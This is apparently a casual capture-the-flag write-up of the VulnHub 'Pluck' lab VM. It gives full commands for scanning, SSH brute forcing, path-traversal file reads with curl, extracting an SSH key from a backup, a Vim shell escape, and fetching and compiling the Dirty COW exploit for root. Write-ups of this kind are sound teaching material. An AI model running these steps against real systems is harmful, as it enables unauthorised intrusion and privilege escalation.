Plucking Pluck
============
I had a fun time going through Pluck, there were no tempting write ups available at time of testing so managed to steer clear of the easy ways out ;)
Firing up netdiscover we find the host to target (which actually I saw later was conveniently mentioned in the actual Pluck VM login screen)
netdiscover -i eth0 -P -r 192.168.110.0/24
bash tools/ranger.sh
With the target identified, next stage is to see what a port scan probing open ports for service/version information reveals;
nmap -sV -p - 192.168.110.102 2> /dev/null
OK so ssh, http, mysql and an as yet to be determined service to poke around at.
Going through the http pages, we see a Home, About, Contact and Admin pages.
The Admin page has a login, however it requires an email address and I was not able to find any information on correct email address formats.
Testing with various email formats did not get any helpful error message.
Tried to get some helpful sql errors, and entering ' as email address did result in ;
"You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line 6"
I was unable to get any further so decided to leave that route for what it was for the time being.
Not sure whether there is anything to be found with the sql in the login, will have to dig a bit more.
FORCED BROWSING
With the hope of an easy entry fading, I checked if any easily identified files/directories could be found;
dirb http://192.168.110.102
wfuzz -c -w /usr/share/seclists/Discovery/Web-content/big.txt --hc 404 192.168.110.102/FUZZ
Nothing interesting standing out..
I actually also even ran cewl on the 'About' page of the server and ran a forced browse attack using that custom wordlist, but also no dice.
SSH
Port 22 was open, so I decided to run a bruteforce with the most common 10k passwords on ssh with username admin as there appeared to be an admin login on http, you never know, right?
hydra -l admin -P /lists/10k.txt -e nsr -t 4 -Vf 192.168.110.102 ssh
Predictable outcome though; no dice.
Trying mysql login in turned out to be a no-go as well..
mysql -h 192.168.110.102- uroot -ptoor
pfff... things were beginning to look a little bleak..
MY SAVIOUR: NIKTO
Running nikto showed an interesting LFI vulnerability, allowing viewing of any file on the target.
Running nikto showed an interesting LFI vulnerability, allowing viewing of any file on the target.
nikto -h 192.168.110.102
Checking the LFI vulnerabilty with curl indeed showed the file..
Finally.. progress!
curl -s 192.168.110.102/index.php?page=../../../../../../../../../../etc/passwd
curl -s 192.168.110.102/index.php?page=../../../../../../../../../../etc/passwd
Ohh.. usernames, I took the usernames and went to town with yet more bruteforce attacks on ssh.. maybe bob, paul or peter would have better results than that crappy 'ol admin!
Nope..no dice..it was not meant to be..
Looking again at the passwd file some interesting information stands out on the backup-user showing a location of a backup script.
Let's see if we can dig that one out;
curl -s 192.168.110.102/index.php?page=../../../../../../../../../../usr/local/scripts/backup.sh
OK, looks like there may be a backup file to poke at..
Let's see if we can download the backup file, despite the mention of tftp, I just tried with curl and man the download just kept on going.. at 2GB I cancelled the download in the hopes that something could be extracted..
curl 192.168.110.102/index.php?page=../../../../../../../../../../backups/backup.tar > backup.tar
First I did a quick manual check to see if a quick scroll through the first few hundred lines had anything jumping out, and something did..!
cat backup.tar | head -n 500 | less
hmm.. user paul and ssh rsa keys? Looking more promising now!
Some handy information which google was kind enough to cough up for me;
https://support.rackspace.com/how-to/logging-in-with-an-ssh-private-key-on-linuxmac/
I named the file deployment-key.txt and edited permissions to 600;
chmod 600 deployment-key.txt
Then tried to log in ssh yet again, but now as user paul with an ssh-rsa key;
ssh -i deployment-key.txt paul@192.168.110.102
OK, well this is different.. well I guess the passwd file did mention /usr/bin/pdmenu for user paul..
So decided to try and open up the /etc/passwd file
oh fuck.. Vim.. I seriously need to learn to use this.. how many times I have gotten stuck in it and have had to google how to just friggin exit the editor is just downright embarrassing.
So after spending a bit of time on trying to edit the file to get it to open and be able to break out into shell, I noticed that the file was, of course, read-only [facepalm]..
The breaking out of Vim is well-documented and a quick google session later I found the hidden gold I needed;
https://pen-testing.sans.org/blog/2012/06/06/escaping-restricted-linux-shells
In Vim command mode;
:set shell=/bin/bash
:shell
Bingo! shell!
A bit of googling showed I could probably try out an easy way to root and use the dirty cow exploit.
I hosted the Dirty Cow exploit 40616.c on my attacking system and changed to the writeable /tmp directory on Pluck to wget the exploit to the target.
Then following the instructions in the exploit I compiled it with gcc.
wget 192.168.110.101/40616.c
gcc -o cow 40616.c -pthread
It compiled with some warnings, but fingers crossed..
I chmod-ed the file to make it executable, and ran it..
chmod +x cow
./cow
Fuck Yeah..!
rootdance!
I immediately ran the command to make the exploit more stable and avoid freezes on the target system (without this step, the target system froze pretty quick for me);
echo 0 > /proc/sys/vm/dirty_writeback_centisecs
Checked out the /root dir;
ls /root
cat /root/flag.txt
Big thanks to the creator and to VulnHub for hosting these awesome challenges :D
Happy & Content :)
Tools used;
HOST DICOVERY
- netdiscover
- arp-scan
PORT SCANNING
- nmap
FORCED BROWSING
- dirb
- dirbuster
- wfuzz
VULNERABILITY CHECKS / SCANNING
- nikto
- searchsploit
FILE TRANSFER
- wget
- curl
Speshull thanx to guugl :P
